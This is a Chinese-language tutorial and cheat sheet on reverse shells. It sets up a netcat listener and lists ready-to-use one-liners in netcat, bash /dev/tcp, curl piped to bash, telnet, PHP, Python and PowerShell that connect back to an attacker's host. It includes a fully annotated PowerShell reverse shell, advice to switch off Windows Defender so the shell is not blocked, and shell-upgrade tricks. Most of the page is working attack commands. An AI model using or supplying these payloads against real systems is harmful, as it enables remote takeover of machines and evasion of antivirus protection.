Reverse Shell

反向shell 是一種用於在目標系統上建立與攻擊者系統的通訊連接的技術。這種技術通常應用於一些特殊情況下:

  1. 防火牆限制:當目標系統處於一個防火牆嚴格的環境中,只能發送請求而無法接收請求時,反向 shell 提供了一種能夠讓攻擊者主動連接到目標系統的方法。
  2. 連接埠被佔用:有時目標系統的某些連接埠可能已被佔用,無法直接用於建立連接。在這種情況下,反向shell 可以通過建立與目標系統的出站連接來繞過這些限制。
  3. 動態IP或內網環境:當目標系統位於內部網絡或其IP地址具有動態變化時,攻擊者無法直接連接到目標系統。透過反向shell 技術,攻擊者可以在目標系統主動連接到其控制的伺服器。
  4. 環境不確定性:對於病毒、木馬等攻擊手段,攻擊者難以預測受害者的網絡環境和行為。反向shell 提供了一種穩定的通訊機制,無需事先了解目標系統的細節。

反向shell 的實現方式有多種,具體取決於目標系統的環境和可用的工具。例如,可以利用 netcat、Python 或 PHP 等語言和工具來實現反向shell。攻擊者需要根據目標系統的特點選擇最適合的反向shell 方式


反向shell 監聽主機

建立反向shell前,要先準備好監聽的主機

以nc為例,格式為: nc -l -v -p [ listen IP] < listen port > , 說明如下

  • l:監聽模式 (listen mode)。這是指定 netcat 監聽指定的連接埠。
  • v:詳細模式 (verbose mode)。這使 netcat 提供詳細的資訊輸出,幫助使用者了解連接和資料傳輸的詳細情況。
  • p:連接埠 (port)。指定 netcat 要監聽的連接埠。

舉例如下

# nc -l -p 8888

# nc -lvp 8888

接著就可以用以下方式在受害主機上連線

  • netcat
  • bash
  • curl
  • php
  • powershell

當受害主機訪問時,監聽端的nc就會顯示類似這樣的訊息 connect to [192.168.1.1] from (UNKNOWN) [192.168.1.100] 58676,接著就可以在監聽端這邊下指令控制受害主機


反向shell常用資源


netcat

常見的反向shell用法有以下

nc -c /bin/sh <remote IP> <remote Port>

nc < remote ip> <remote port> -e c:\windows\system32\cmd.exe 

/bin/sh | nc <remote IP> <remote port>

也可結合PHP語法插入

<?passthru(“nc -e /bin/sh [yourIP] [yourPort]”); ?>


bash

常見的反向shell用法有以下

bash -i >& /dev/tcp/<remote IP>/<remote Port> 0>&1

如果出現 zsh: no such file or directory表示正在用zsh,可以換以下執行,可強制使用bash

bash -c "bash -i >& /dev/tcp/<remote IP>/<remote Port> 0>&1"

指令分別解釋如下

  • bash -i 產生一個互動shell
  • >& 將聯合符號前面的內容與後面結合,然後一起重定向給後者
  • /dev/tcp/<remote IP>/<remote Port> 讓目標主機與攻擊機<remote IP><remote Port>埠建立一個tcp連線
  • 0>&1 將標準輸入與標準輸出的內容結合,然後重定向給前面標準輸出的內容。

refer
https://xz.aliyun.com/t/9488?time__1311=n4%2BxuDgD9AdWqhDBqDwmDUhDAhODBjo%2FxYwD&alichlgref=https%3A%2F%2Fwww.google.com%2F


curl

透過bash的方式連線

1.先在<remote IP>的網站index.html內準備以下內容

bash -i >& /dev/tcp/<remote IP>/8888 0>&1

2.然後用curl把<remote IP>的網站內容下載並執行

curl <remote IP>|bash


telnet

方法1

在受害主機內執行以下

mknod a p; telnet <remote IP> 8888 0<a | /bin/bash 1>a

方法2

需要同時監聽2個端口,除了之前監聽的8888外,還要在另外監聽一個Port,例如 nc -lvp 9999

接著在受害主機內執行以下

telnet <remote IP> 8888 | /bin/bash | telnet <remote IP> 8889


php

常見的語法有

php -r '$s=fsockopen("<remote IP>",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

exec可以換成system, shell_exec, passthru, popen

或是用反斜線單引號,如下

php -r '$s=fsockopen("<remote IP>",8888);`/bin/sh -i <&3 >&3 2>&3`;'


python

常見的語法有

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<remote IP>",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Invoke-PowerShellTcp.ps1

此為nishang開發的powershell的腳本,執行方式如下

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Powershell腳本執行策略是預設不允許執行任何腳本,直接執行可能會被禁止,要允許執行可使用管理員身分執行powershell然後執行指令 set-executionpolicy remotesigned 

refer
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
https://blog.csdn.net/weixin_42628854/article/details/123990629
https://zhuanlan.zhihu.com/p/38067240


powershell 命令執行

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

指令分別解釋如下

Calling PowerShell

powershell -nop -c

  • “nop” 是 “NoProfile” 的縮寫,意思是指在執行 PowerShell 時不加載任何用戶配置文件(profile),包括 $PROFILE 中定義的任何自定義設置。這樣做可以使 PowerShell 在執行時不受用戶配置文件中設置的影響,從而更快速地啟動並執行命令。這對於一些特定的情況,比如需要快速執行一個命令或腳本時,很有用。
  • “-c” 是 “Command” 的縮寫,用於指定要執行的命令或腳本塊。當你在 PowerShell 命令行中使用”-c” 選項時,後面可以跟隨一個命令或一段 PowerShell 腳本。例如,powershell.exe -c "Get-Process" 將執行 Get-Process 命令,顯示當前系統中正在運行的進程。

Binding A Socket

$client = New-Object System.Net.Sockets.TCPClient(10.10.14.158,443);

建立了一個新的 TCPClient 物件,用於與指定的 IP 地址和端口建立 TCP 連接。物件的類型是 System.Net.Sockets.TCPClient,這是 .NET Framework 中用於 TCP 通訊的類。

Setting The Command Stream

$stream = $client.GetStream();

獲取與 $client 物件關聯的網絡流,以便後續的通訊操作。.GetStream() 是 TCPClient 物件的一個方法,用於獲取與 TCP 連接關聯的 NetworkStream 物件。

Empty Byte Stream

[byte[]]$bytes = 0..65535|%{0};

創建了一個長度為 65536 的空的 byte 陣列。

  • [byte[]] 告訴 PowerShell 將變數 $bytes 宣告為一個 byte 陣列。
  • 0..65535 生成一個從 0 到 65535 的整數序列。
  • |%{0} 使用管道將每個整數映射為值 0,這樣就創建了一個包含 65536 個元素,每個元素的值都是 0 的 byte 陣列。

Stream Parameters

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

使用 while 循環不斷從 $stream 中讀取數據,直到讀取操作返回的字節數量為 0

  • $stream.Read($bytes, 0, $bytes.Length) 是一個方法調用,從 $stream 中讀取數據並將其存儲到 $bytes 陣列中。$i 變數接收此方法調用的返回值,該返回值是實際讀取的字節數量。
  • -ne 0 意味着“不等於 0”。因此,這個條件確保只要 Read 方法返回的字節數量不為 0,就會繼續執行循環。

Set The Byte Encoding

{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);

創建了一個變數 $data,並將從 $bytes 陣列中讀取的字節數據轉換為 ASCII 字符串存儲在 $data 中。

  • (New-Object -TypeName System.Text.ASCIIEncoding) 創建了一個 ASCIIEncoding 物件,用於將字節數據轉換為 ASCII 字符串。
  • .GetString($bytes, 0, $i) 是對 ASCIIEncoding 物件的 GetString 方法的調用,該方法接受一個字節陣列 $bytes、起始位置索引(0)和要轉換的字節數量 $i。它將 $bytes 中的字節數據從指定位置開始轉換為 ASCII 字符串。

Invoke-Expression

$sendback = (iex $data 2>&1 | Out-String );

執行了一個命令或腳本,並將結果存儲在 $sendback 變數中。

  • iex $data 使用 iex(Invoke-Expression) cmdlet 執行了 $data 變數中包含的命令或腳本。
  • 2>&1 將標準錯誤流(stderr)重定向到標準輸出流(stdout)。這樣做可以確保無論是標準輸出還是標準錯誤,都會被捕獲並包含在結果中。
  • | Out-String 將命令或腳本的輸出轉換為字符串,這樣可以將輸出的結果儲存到變數中。

Show Working Directory

$sendback2 = $sendback + 'PS ' + (pwd).path + '> ';

將剛剛執行命令或腳本後得到的結果 $sendback 與當前所在目錄的路徑(使用 (pwd).path 獲取)和提示符 “PS ” 以及 “>” 字符串結合,然後將結果存儲在 $sendback2 變數中。

Sets Sendbyte

$sendbyte= ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

$sendback2 字符串轉換為 ASCII 編碼的字節序列,然後將這些字節寫入到 $stream 對象所表示的網絡流中,最後將網絡流進行刷新,以確保數據已經被寫入。

  • ([text.encoding]::ASCII).GetBytes($sendback2) 使用 text.encoding 類的 GetBytes 方法將 $sendback2 字符串轉換為 ASCII 編碼的字節序列。
  • $stream.Write($sendbyte,0,$sendbyte.Length) 使用 $stream 物件的 Write 方法將 $sendbyte 中的字節序列寫入到網絡流中,從索引位置 0 開始,寫入 $sendbyte.Length 長度的字節數據。
  • $stream.Flush() 將網絡流進行刷新,以確保所有的數據都已經被寫入到流中。

Terminate TCP Connection

$client.Close()"

關閉了之前建立的 TCP 連接

要注意上述指令會被Windows Defender antivirus阻擋,並顯示以下畫面,因此需要先在將防毒暫時關閉

At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

refer

https://blog.csdn.net/weixin_42628854/article/details/123990629


互動SHELL

當我們進入系統 shell 時,我們注意到沒有提示,但我們仍然可以發出一些系統命令。這是一個通常稱為 的 shell non-tty shell。(有時稱為監獄 shell)

這些 shell 的功能有限,通常會阻止我們使用suswitch user) 和sudosuper user do) 等基本命令,如果我們尋求升級權限,我們可能會需要這些命令。

因此需要互動SHELL才解決,常見的方法如下

/bin/sh -i

python -c 'import pty; pty.spawn("/bin/sh")'

perl —e 'exec "/bin/sh";'

perl —e 'exec "/bin/sh";'

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

awk 'BEGIN {system("/bin/sh")}'

find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

find . -exec /bin/sh \; -quit

vim -c ':!/bin/sh'

也可以用以下方式

vim
:set shell=/bin/sh
:shell